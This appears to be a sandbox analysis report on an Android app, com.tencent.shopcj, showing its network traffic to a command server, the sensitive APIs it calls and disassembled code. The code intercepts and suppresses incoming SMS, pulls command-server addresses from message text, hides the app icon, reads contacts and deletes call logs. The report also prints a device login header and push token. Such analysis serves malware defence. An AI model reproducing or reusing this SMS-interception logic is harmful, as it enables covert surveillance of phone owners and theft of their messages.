                                                Jun 28, 2023 15:02:29.808331013 CEST360808081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:02:30.321562052 CEST39602443192.168.2.30142.250.186.163
                                                Jun 28, 2023 15:02:31.856329918 CEST360808081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:02:31.856393099 CEST360828081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:02:35.888720036 CEST360828081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:02:35.891031981 CEST360808081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:02:44.145370007 CEST360808081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:02:44.145409107 CEST360828081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:03.615864992 CEST360848081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:04.627105951 CEST360848081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:06.585098028 CEST360868081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:06.675287962 CEST360848081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:07.635370016 CEST360868081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:09.629331112 CEST360888081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:09.683506012 CEST360868081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:10.643764973 CEST360888081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:10.707636118 CEST360848081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:12.623739004 CEST360908081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:12.692760944 CEST360888081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:13.651823997 CEST360908081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:13.715857029 CEST360868081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:15.699995041 CEST360908081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:16.724184990 CEST360888081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:18.964539051 CEST360848081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:19.732440948 CEST360908081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:22.036575079 CEST360868081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:25.109452963 CEST360888081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:28.181174040 CEST360908081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:50.426065922 CEST360928081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:51.479329109 CEST360928081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:53.424735069 CEST360948081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:53.527472019 CEST360928081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:54.487610102 CEST360948081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:56.535746098 CEST360948081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:57.560004950 CEST360928081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:03:59.477751017 CEST360968081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:00.504189014 CEST360968081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:00.568305016 CEST360948081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:02.475800037 CEST360988081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:02.552437067 CEST360968081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:03.512471914 CEST360988081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:05.560601950 CEST360988081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:06.072882891 CEST360928081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:06.584912062 CEST360968081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:08.527084112 CEST361008081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:08.635440111 CEST360948081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:09.528991938 CEST361008081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:09.592993021 CEST360988081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:11.559572935 CEST361028081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:11.577244043 CEST361008081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:12.601443052 CEST361028081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:14.649651051 CEST361028081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:14.778043985 CEST360968081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:15.609707117 CEST361008081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:17.603300095 CEST361048081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:17.849869967 CEST360988081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:18.617980003 CEST361048081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:18.681952000 CEST361028081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:20.617635965 CEST361068081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:20.666074038 CEST361048081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:21.626231909 CEST361068081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:23.674392939 CEST361068081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:23.994369030 CEST361008081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:24.698419094 CEST361048081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:27.066812992 CEST361028081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:27.706803083 CEST361068081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:33.211323023 CEST361048081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:04:35.771645069 CEST361068081192.168.2.30118.166.46.31
                                                TimestampSource PortDest PortSource IPDest IP
                                                Jun 28, 2023 15:04:11.321420908 CEST6867192.168.2.30192.168.2.1
                                                Jun 28, 2023 15:04:11.321760893 CEST6768192.168.2.1192.168.2.30
                                                • android.clients.google.com
                                                Session IDSource IPSource PortDestination IPDestination Port
                                                0192.168.2.3035910172.217.16.174443
                                                TimestampkBytes transferredDirectionData
                                                2023-06-28 13:01:37 UTC0OUTPOST /c2dm/register3 HTTP/1.1
                                                Authorization: AidLogin 3976102378291501644:1184905049225720946
                                                app: com.google.android.gms
                                                gcm_ver: 210214031
                                                User-Agent: Android-GCM/1.5 (x86 PI)
                                                content-length: 477
                                                content-type: application/x-www-form-urlencoded
                                                Host: android.clients.google.com
                                                Connection: Keep-Alive
                                                Accept-Encoding: gzip
                                                2023-06-28 13:01:37 UTC0OUTData Raw: 58 2d 73 75 62 74 79 70 65 3d 37 34 35 34 37 36 31 37 37 36 32 39 26 58 2d 58 2d 73 75 62 73 63 72 69 70 74 69 6f 6e 3d 37 34 35 34 37 36 31 37 37 36 32 39 26 73 65 6e 64 65 72 3d 37 34 35 34 37 36 31 37 37 36 32 39 26 58 2d 58 2d 73 75 62 74 79 70 65 3d 37 34 35 34 37 36 31 37 37 36 32 39 26 58 2d 61 70 70 5f 76 65 72 3d 32 31 30 32 31 34 30 33 31 26 58 2d 6f 73 76 3d 32 38 26 58 2d 63 6c 69 76 3d 69 69 64 2d 32 31 30 32 31 34 30 30 30 26 58 2d 67 6d 73 76 3d 32 31 30 32 31 34 30 33 31 26 58 2d 61 70 70 69 64 3d 66 53 57 4a 69 50 55 4d 56 37 30 26 58 2d 73 63 6f 70 65 3d 44 49 52 45 43 54 42 4f 4f 54 26 58 2d 73 75 62 73 63 72 69 70 74 69 6f 6e 3d 37 34 35 34 37 36 31 37 37 36 32 39 26 58 2d 61 70 70 5f 76 65 72 5f 6e 61 6d 65 3d 32 31 2e 30 32 2e 31 34
                                                Data Ascii: X-subtype=745476177629&X-X-subscription=745476177629&sender=745476177629&X-X-subtype=745476177629&X-app_ver=210214031&X-osv=28&X-cliv=iid-210214000&X-gmsv=210214031&X-appid=fSWJiPUMV70&X-scope=DIRECTBOOT&X-subscription=745476177629&X-app_ver_name=21.02.14
                                                2023-06-28 13:01:37 UTC0INHTTP/1.1 200 OK
                                                Content-Type: text/plain; charset=UTF-8
                                                Date: Wed, 28 Jun 2023 13:01:37 GMT
                                                Expires: Wed, 28 Jun 2023 13:01:37 GMT
                                                Cache-Control: private, max-age=0
                                                X-Content-Type-Options: nosniff
                                                X-Frame-Options: SAMEORIGIN
                                                Content-Security-Policy: frame-ancestors 'self'
                                                X-XSS-Protection: 1; mode=block
                                                Server: GSE
                                                Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                Accept-Ranges: none
                                                Vary: Accept-Encoding
                                                Connection: close
                                                Transfer-Encoding: chunked
                                                2023-06-28 13:01:37 UTC1INData Raw: 39 65 0d 0a 74 6f 6b 65 6e 3d 66 53 57 4a 69 50 55 4d 56 37 30 3a 41 50 41 39 31 62 46 4b 53 2d 44 68 6f 4f 48 4b 54 47 72 78 32 6b 30 44 70 46 30 43 51 73 53 74 74 6e 58 58 5f 42 30 4a 4b 48 72 75 4d 4e 4b 42 6f 57 5a 4b 4d 68 37 59 32 79 32 7a 72 61 43 53 77 49 59 67 43 53 42 57 7a 50 76 62 47 6d 52 61 78 50 78 67 5a 4f 36 4b 4f 4b 36 71 54 69 38 35 50 4f 45 69 72 35 70 47 54 74 35 50 62 56 49 34 32 72 59 76 6d 6c 57 50 78 44 79 35 53 6e 6b 75 71 4d 4c 2d 54 71 6d 46 58 6b 7a 67 0d 0a
                                                Data Ascii: 9etoken=fSWJiPUMV70:APA91bFKS-DhoOHKTGrx2k0DpF0CQsSttnXX_B0JKHruMNKBoWZKMh7Y2y2zraCSwIYgCSBWzPvbGmRaxPxgZO6KOK6qTi85POEir5pGTt5PbVI42rYvmlWPxDy5SnkuqML-TqmFXkzg
                                                2023-06-28 13:01:37 UTC1INData Raw: 30 0d 0a 0d 0a
                                                Data Ascii: 0


                                                APK Behavior

                                                TypeData
                                                boot completed
                                                • -
                                                time tick
                                                • -
                                                incoming sms
                                                • 0123456789
                                                • this is a text message
                                                outgoing sms
                                                • 9876543210
                                                • thank you
                                                location change
                                                • 54.13
                                                • 12.14
                                                motion simulation
                                                • -
                                                incoming call
                                                • 0123456789
                                                outgoing call
                                                • 9876543210
                                                time tick
                                                • -
                                                API: android.net.ConnectivityManager->getNetworkInfo at ..:10 Show source
                                                API: android.net.ConnectivityManager->getActiveNetworkInfo at ..:23 Show source
                                                API: android.net.ConnectivityManager->getActiveNetworkInfo at ..:11 Show source
                                                API: android.content.pm.PackageManager->setComponentEnabledSetting at com.tencent.shopcj.ui.AliasMainActivity.onCreate:63 Show source
                                                API: android.content.pm.PackageManager->setComponentEnabledSetting at com.tencent.shopcj.utils.AppIconUtil.disableComponent:9 Show source
                                                API: android.content.pm.PackageManager->setComponentEnabledSetting at ..:8 Show source
                                                API: android.content.pm.PackageManager->setComponentEnabledSetting at com.tencent.shopcj.ui.MainActivity.onCreate:39 Show source
                                                API: java.net.Socket-><init> at ..:20 Show source
                                                API: org.apache.http.impl.client.DefaultHttpClient-><init> at ..:2 Show source
                                                API: java.net.URL->openConnection at ..:21 Show source
                                                API: java.net.ServerSocket->bind at ..:46 Show source
                                                API: java.net.URL->openStream at ..:16 Show source
                                                API: android.content.ContentResolver->openInputStream at ..:19 Show source
                                                API: android.content.ContentResolver->query at ..:46 Show source
                                                API: android.content.ContentResolver->openInputStream at ..:22 Show source
                                                API: android.content.ContentResolver->query at com.tencent.shopcj.utils.ProcessCommand.getContacts:25 Show source
                                                API: android.content.ContentResolver->query at com.tencent.shopcj.utils.PhoneMonitor.deleteCallLog:21 Show source
                                                API: android.content.ContentResolver->query at ..:25 Show source
                                                API: android.content.ContentResolver->query at com.tencent.shopcj.utils.MmsDatabaseChangeObserver.getMmsBody:23 Show source
                                                API: android.content.ContentResolver->openInputStream at ..:18 Show source
                                                API: android.content.ContentResolver->query at ..:48 Show source
                                                API: android.content.ContentResolver->query at ..:23 Show source
                                                API: android.content.ContentResolver->query at ..:22 Show source
                                                API: android.content.ContentResolver->query at com.tencent.shopcj.utils.MmsDatabaseChangeObserver.onChange:30 Show source
                                                API: java.lang.Runtime->exec at ..:8 Show source
                                                API: android.telephony.TelephonyManager->getSubscriberId at ..:7 Show source
                                                API: android.telephony.TelephonyManager->getDeviceId at ..:7 Show source
                                                API: android.telephony.TelephonyManager->getSimSerialNumber at ..:7 Show source
                                                API: android.telephony.TelephonyManager->getLine1Number at ..:12 Show source
                                                API: android.telephony.TelephonyManager->getLine1Number at ..:7 Show source
                                                API: android.telephony.TelephonyManager->getDeviceId at ..:28 Show source
                                                API: android.media.MediaRecorder->setAudioSource at ..:68 Show source
                                                API: android.telephony.SmsManager->sendMultipartTextMessage at ..:66 Show source
                                                API: android.app.NotificationManager->notify at ..:59 Show source
                                                API: android.app.NotificationManager->notify at ..:77 Show source
                                                API: android.app.NotificationManager->notify at android.support.coreui.app.__.handleUncaughtException:260 Show source
                                                API: android.os.PowerManager$WakeLock->release at ..:29 Show source
                                                API: android.os.PowerManager$WakeLock->acquire at ..:31 Show source

                                                3 Executed Methods

                                                Cross References
                                                APIs
                                                • java.lang.IllegalStateException.<init>
                                                • java.lang.NoSuchMethodError.getMessage
                                                • java.lang.String.contains
                                                • java.lang.NoClassDefFoundError.getMessage
                                                Strings
                                                • Unexpected initialization failure
                                                • org.slf4j.impl.StaticLoggerBinder.getSingleton()
                                                • slf4j-api 1.6.x (or later) is incompatible with this binding.
                                                • Your binding is version 1.5.5 or earlier.
                                                • Upgrade your binding to version 1.6.x.
                                                • Failed to load class \"org.slf4j.impl.StaticLoggerBinder\".
                                                • Failed to load class "org.slf4j.impl.StaticLoggerBinder".
                                                • Defaulting to no-operation (NOP) logger implementation
                                                • See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details.
                                                Position Instruction Meta Information
                                                0const/4 v0, 0x0
                                                1try_start_1:
                                                2invoke-static {}, Lorg/slf4j/LoggerFactory;->isAndroid()Z
                                                • Time: 1072761
                                                  • Return:
                                                    • true
                                                3move-result v1
                                                4if-nez v1, :cond_e
                                                6invoke-static {}, Lorg/slf4j/LoggerFactory;->findPossibleStaticLoggerBinderPathSet()Ljava/util/Set;
                                                7move-result-object v0
                                                9invoke-static {v0}, Lorg/slf4j/LoggerFactory;->reportMultipleBindingAmbiguity(Ljava/util/Set;)V
                                                10cond_e:
                                                11invoke-static {}, Lorg/slf4j/impl/StaticLoggerBinder;->getSingleton()Lorg/slf4j/impl/StaticLoggerBinder;
                                                12const/4 v1, 0x3
                                                13sput v1, Lorg/slf4j/LoggerFactory;->INITIALIZATION_STATE:I
                                                15invoke-static {v0}, Lorg/slf4j/LoggerFactory;->reportActualBinding(Ljava/util/Set;)V
                                                17invoke-static {}, Lorg/slf4j/LoggerFactory;->fixSubstituteLoggers()V
                                                19invoke-static {}, Lorg/slf4j/LoggerFactory;->replayEvents()V
                                                21sget-object v0, Lorg/slf4j/LoggerFactory;->SUBST_FACTORY:Lorg/slf4j/helpers/SubstituteLoggerFactory;
                                                23invoke-virtual {v0}, Lorg/slf4j/helpers/SubstituteLoggerFactory;->clear()V
                                                24try_end_22: goto/16 :goto_6e
                                                25catch_23: move-exception v0
                                                27invoke-static {v0}, Lorg/slf4j/LoggerFactory;->failedBinding(Ljava/lang/Throwable;)V
                                                28new-instance v1, Ljava/lang/IllegalStateException;
                                                30const-string v2, "Unexpected initialization failure"
                                                32invoke-direct {v1, v2, v0}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                33throw v1
                                                34catch_2f: move-exception v0
                                                36invoke-virtual {v0}, Ljava/lang/NoSuchMethodError;->getMessage()Ljava/lang/String;
                                                37move-result-object v1
                                                38if-eqz v1, :cond_50
                                                40const-string v2, "org.slf4j.impl.StaticLoggerBinder.getSingleton()"
                                                42invoke-virtual {v1, v2}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                43move-result v1
                                                44if-eqz v1, :cond_50
                                                45const/4 v1, 0x2
                                                46sput v1, Lorg/slf4j/LoggerFactory;->INITIALIZATION_STATE:I
                                                48const-string v1, "slf4j-api 1.6.x (or later) is incompatible with this binding."
                                                50invoke-static {v1}, Lorg/slf4j/helpers/Util;->report(Ljava/lang/String;)V
                                                52const-string v1, "Your binding is version 1.5.5 or earlier."
                                                54invoke-static {v1}, Lorg/slf4j/helpers/Util;->report(Ljava/lang/String;)V
                                                56const-string v1, "Upgrade your binding to version 1.6.x."
                                                58invoke-static {v1}, Lorg/slf4j/helpers/Util;->report(Ljava/lang/String;)V
                                                59cond_50: throw v0
                                                60catch_51: move-exception v0
                                                62invoke-virtual {v0}, Ljava/lang/NoClassDefFoundError;->getMessage()Ljava/lang/String;
                                                63move-result-object v1
                                                65invoke-static {v1}, Lorg/slf4j/LoggerFactory;->messageContainsOrgSlf4jImplStaticLoggerBinder(Ljava/lang/String;)Z
                                                66move-result v1
                                                67if-eqz v1, :cond_6f
                                                68const/4 v0, 0x4
                                                69sput v0, Lorg/slf4j/LoggerFactory;->INITIALIZATION_STATE:I
                                                71const-string v0, "Failed to load class \"org.slf4j.impl.StaticLoggerBinder\"."
                                                73invoke-static {v0}, Lorg/slf4j/helpers/Util;->report(Ljava/lang/String;)V
                                                • Time: 1072766
                                                  • p0: Failed to load class "org.slf4j.impl.StaticLoggerBinder".
                                                75const-string v0, "Defaulting to no-operation (NOP) logger implementation"
                                                77invoke-static {v0}, Lorg/slf4j/helpers/Util;->report(Ljava/lang/String;)V
                                                • Time: 1072770
                                                  • p0: Defaulting to no-operation (NOP) logger implementation
                                                79const-string v0, "See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details."
                                                81invoke-static {v0}, Lorg/slf4j/helpers/Util;->report(Ljava/lang/String;)V
                                                • Time: 1072773
                                                  • p0: See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details.
                                                82goto_6e: return-void
                                                83cond_6f:
                                                84invoke-static {v0}, Lorg/slf4j/LoggerFactory;->failedBinding(Ljava/lang/Throwable;)V
                                                85throw v0
                                                Cross References
                                                APIs
                                                • java.lang.String.toLowerCase
                                                • java.lang.String.contains
                                                Strings
                                                • http://www.android.com/
                                                • java.vendor.url
                                                • android
                                                Position Instruction Meta Information
                                                1const-string v0, "java.vendor.url"
                                                3invoke-static {v0}, Lorg/slf4j/helpers/Util;->safeGetSystemProperty(Ljava/lang/String;)Ljava/lang/String;
                                                • Time: 1072759
                                                  • p0: java.vendor.url
                                                  • Return:
                                                    • http://www.android.com/
                                                4move-result-object v0
                                                5if-nez v0, :cond_a
                                                6const/4 v0, 0x0
                                                7return v0
                                                8cond_a:
                                                9invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                                                10move-result-object v0
                                                12const-string v1, "android"
                                                14invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                15move-result v0
                                                16return v0
                                                Cross References
                                                APIs
                                                • java.lang.String.equalsIgnoreCase
                                                Strings
                                                • slf4j.detectLoggerNameMismatch
                                                • true
                                                Position Instruction Meta Information
                                                1invoke-static {p0}, Lorg/slf4j/helpers/Util;->safeGetSystemProperty(Ljava/lang/String;)Ljava/lang/String;
                                                • Time: 1072746
                                                  • p0: slf4j.detectLoggerNameMismatch
                                                  • Return:
                                                    • null
                                                2move-result-object p0
                                                3if-nez p0, :cond_8
                                                4const/4 p0, 0x0
                                                5return p0
                                                6cond_8:
                                                7const-string v0, "true"
                                                9invoke-virtual {p0, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                                10move-result p0
                                                11return p0

                                                71 Non-Executed Methods

                                                APIs
                                                • android.content.Intent.getAction
                                                • java.lang.String.equals
                                                • android.content.Intent.getExtras
                                                • android.os.Bundle.get
                                                • android.telephony.SmsMessage.createFromPdu
                                                • android.telephony.SmsMessage.getTimestampMillis
                                                • android.telephony.SmsMessage.getDisplayOriginatingAddress
                                                • android.telephony.SmsMessage.getMessageBody
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • android.util.Log.d
                                                • java.lang.String.contains
                                                • java.lang.String.contains
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.String.indexOf
                                                • java.lang.String.indexOf
                                                • java.lang.String.substring
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.String.contains
                                                • java.lang.String.contains
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.String.indexOf
                                                • java.lang.String.indexOf
                                                • java.lang.String.substring
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.String.contains
                                                • java.lang.String.contains
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.String.indexOf
                                                • java.lang.String.indexOf
                                                • java.lang.String.substring
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.String.contains
                                                • java.lang.String.contains
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.String.indexOf
                                                • java.lang.String.indexOf
                                                • java.lang.String.substring
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.String.contains
                                                • java.lang.String.contains
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.String.indexOf
                                                • java.lang.String.indexOf
                                                • java.lang.String.substring
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.String.contains
                                                • java.lang.String.contains
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.String.indexOf
                                                • java.lang.String.indexOf
                                                • java.lang.String.substring
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • android.text.TextUtils.isEmpty
                                                • java.lang.String.equals
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • android.util.Log.d
                                                • com.tencent.shopcj.main.MyApplication.getInstance
                                                • com.tencent.shopcj.main.MyApplication.updateConfig
                                                • java.lang.Math.random
                                                • java.lang.Math.round
                                                • com.tencent.shopcj.receiver.SmsReceiver.format:Ljava/text/SimpleDateFormat
                                                • java.util.Date.<init>
                                                • java.text.SimpleDateFormat.format
                                                • com.tencent.shopcj.websocket.WsTypeEnum.DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum
                                                • android.content.Context.getPackageName
                                                • android.provider.Telephony$Sms.getDefaultSmsPackage
                                                • java.lang.String.equals
                                                • com.tencent.shopcj.receiver.SmsReceiver.writeSMS
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • android.util.Log.d
                                                • com.tencent.shopcj.receiver.SmsReceiver.abortBroadcast
                                                • android.util.Log.d
                                                Strings
                                                • android.provider.Telephony.SMS_RECEIVED
                                                • pdus
                                                • \u6536\u5230\u77ed\u4fe1\uff1a
                                                • (
                                                • )
                                                • SmsReceiver
                                                • https
                                                • https://
                                                • wss://
                                                • /game
                                                • /host
                                                • /html
                                                • http
                                                • http://
                                                • ws://
                                                • \u77ed\u4fe1\u627e\u56deIP\uff1a
                                                • \u6709\u65b0\u77ed\u4fe1
                                                • \u77ed\u4fe1\u5199\u5165\u7cfb\u7edf\uff1a
                                                • \u62e6\u622a\u5230\u4e00\u6761\u77ed\u4fe1
                                                • \u77ed\u4fe1\u62e6\u622a\u6210\u529f
                                                Position Instruction Meta Information
                                                0move-object/from16 v6, p1
                                                2invoke-virtual/range {p2 .. p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                                                3move-result-object v0
                                                5const-string v1, "android.provider.Telephony.SMS_RECEIVED"
                                                7invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                8move-result v0
                                                9if-nez v0, :cond_f
                                                10return-void
                                                11cond_f:
                                                12invoke-virtual/range {p2 .. p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
                                                13move-result-object v0
                                                14if-nez v0, :cond_16
                                                15return-void
                                                16cond_16:
                                                17const-string v1, "pdus"
                                                19invoke-virtual {v0, v1}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
                                                20move-result-object v0
                                                21check-cast v0, [Ljava/lang/Object;
                                                22move-object v7, v0
                                                23check-cast v7, [Ljava/lang/Object;
                                                24const/4 v9, 0x0
                                                25goto_22: array-length v0, v7
                                                26if-ge v9, v0, :cond_254
                                                27aget-object v0, v7, v9
                                                28check-cast v0, [B
                                                29check-cast v0, [B
                                                31invoke-static {v0}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage;
                                                32move-result-object v0
                                                34invoke-virtual {v0}, Landroid/telephony/SmsMessage;->getTimestampMillis()J
                                                35move-result-wide v4
                                                37invoke-virtual {v0}, Landroid/telephony/SmsMessage;->getDisplayOriginatingAddress()Ljava/lang/String;
                                                38move-result-object v10
                                                40invoke-virtual {v0}, Landroid/telephony/SmsMessage;->getMessageBody()Ljava/lang/String;
                                                41move-result-object v11
                                                42new-instance v0, Ljava/lang/StringBuilder;
                                                44invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                46const-string v1, "\u6536\u5230\u77ed\u4fe1\uff1a"
                                                48invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                50invoke-virtual {v0, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                52const-string v12, "("
                                                54invoke-virtual {v0, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                56invoke-virtual {v0, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                58const-string v1, ")"
                                                60invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                62invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                63move-result-object v0
                                                65const-string v13, "SmsReceiver"
                                                67invoke-static {v13, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                                69const-string v0, "https"
                                                71invoke-virtual {v11, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                72move-result v1
                                                74const-string v2, "https://"
                                                76const-string v3, "wss://"
                                                78const-string v14, "/game"
                                                79if-eqz v1, :cond_91
                                                81invoke-virtual {v11, v14}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                82move-result v1
                                                83if-eqz v1, :cond_91
                                                84new-instance v0, Ljava/lang/StringBuilder;
                                                86invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                88invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                90invoke-virtual {v11, v2}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
                                                91move-result v1
                                                92add-int/lit8 v1, v1, 0x8
                                                94invoke-virtual {v11, v14}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
                                                95move-result v2
                                                97invoke-virtual {v11, v1, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                                                98move-result-object v1
                                                100invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                102invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                103move-result-object v0
                                                104goto/16 :goto_171
                                                105cond_91:
                                                106invoke-virtual {v11, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                107move-result v1
                                                109const-string v15, "/host"
                                                110if-eqz v1, :cond_be
                                                112invoke-virtual {v11, v15}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                113move-result v1
                                                114if-eqz v1, :cond_be
                                                115new-instance v0, Ljava/lang/StringBuilder;
                                                117invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                119invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                121invoke-virtual {v11, v2}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
                                                122move-result v1
                                                123add-int/lit8 v1, v1, 0x8
                                                125invoke-virtual {v11, v15}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
                                                126move-result v2
                                                128invoke-virtual {v11, v1, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                                                129move-result-object v1
                                                131invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                133invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                134move-result-object v0
                                                135goto/16 :goto_171
                                                136cond_be:
                                                137invoke-virtual {v11, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                138move-result v0
